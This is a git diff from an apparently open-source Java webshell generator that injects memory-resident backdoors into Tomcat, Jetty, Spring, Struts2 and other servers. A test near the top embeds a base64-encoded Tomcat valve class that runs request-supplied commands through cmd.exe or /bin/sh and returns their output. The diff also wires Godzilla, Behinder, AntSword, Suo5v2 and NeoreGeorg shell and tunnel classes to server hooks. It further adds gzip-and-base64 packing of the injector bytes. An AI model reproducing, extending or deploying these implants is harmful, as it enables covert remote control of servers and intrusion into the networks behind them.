String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||||
|
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
-15
@@ -26,31 +26,22 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
Map body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
Map body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigPackersEndpoint() {
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
List<String> body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+58
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/9/16
|
||||||
|
*/
|
||||||
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
|
class MemShellGeneratorControllerTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
TestRestTemplate restTemplate;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void generateShell() {
|
||||||
|
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||||
|
request.setShellConfig(ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(true)
|
||||||
|
.serverVersion("Unknown")
|
||||||
|
.targetJreVersion(50)
|
||||||
|
.build());
|
||||||
|
request.setInjectorConfig(InjectorConfig.builder()
|
||||||
|
.urlPattern("/*")
|
||||||
|
.build());
|
||||||
|
request.setPacker(Packers.ScriptEngine);
|
||||||
|
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||||
|
shellToolConfigDTO.setGodzillaKey("key");
|
||||||
|
shellToolConfigDTO.setGodzillaPass("pass");
|
||||||
|
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||||
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
|
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||||
|
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.1.0"
|
version = "2.4.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
|||||||
@@ -20,4 +20,5 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
|
public static final String Struct2 = "Struct2";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,13 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -24,15 +30,6 @@ public class MemShellGenerator {
|
|||||||
if (server == null) {
|
if (server == null) {
|
||||||
throw new GenerationException("Unsupported server: " + serverName);
|
throw new GenerationException("Unsupported server: " + serverName);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
Class<?> injectorClass = null;
|
Class<?> injectorClass = null;
|
||||||
|
|
||||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||||
@@ -47,6 +44,19 @@ public class MemShellGenerator {
|
|||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isLambdaSuffix()) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
|
||||||
|
}
|
||||||
|
|
||||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
@@ -55,6 +65,25 @@ public class MemShellGenerator {
|
|||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.Bytecode)
|
||||||
|
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||||
|
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
||||||
|
.shrink(shellConfig.isShrink())
|
||||||
|
.debug(shellConfig.isDebug())
|
||||||
|
.staticInitialize(injectorConfig.isStaticInitialize())
|
||||||
|
.build();
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(serverName)
|
||||||
|
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
||||||
|
.build();
|
||||||
|
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
||||||
|
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
||||||
|
}
|
||||||
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return MemShellResult.builder()
|
return MemShellResult.builder()
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -44,6 +45,7 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
|
register(Server.Struct2, Struct2::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
@@ -69,10 +71,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
|
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -97,6 +103,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
|
.addShellClass(ACTION, BehinderStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -114,6 +121,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
|
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -129,6 +137,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
@@ -140,10 +149,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
||||||
|
.addShellClass(HANDLER, CommandJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
|
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -169,6 +182,33 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
|
.addShellClass(ACTION, Suo5Struct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||||
|
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
||||||
|
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -193,6 +233,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
|
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ public class ShellTool {
|
|||||||
public static final String Behinder = "Behinder";
|
public static final String Behinder = "Behinder";
|
||||||
public static final String Command = "Command";
|
public static final String Command = "Command";
|
||||||
public static final String Suo5 = "Suo5";
|
public static final String Suo5 = "Suo5";
|
||||||
|
public static final String Suo5v2 = "Suo5v2";
|
||||||
public static final String AntSword = "AntSword";
|
public static final String AntSword = "AntSword";
|
||||||
public static final String NeoreGeorg = "NeoreGeorg";
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
public static final String Custom = "Custom";
|
public static final String Custom = "Custom";
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ public class ShellToolFactory {
|
|||||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
|
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
|||||||
@@ -15,17 +15,22 @@ public class ShellType {
|
|||||||
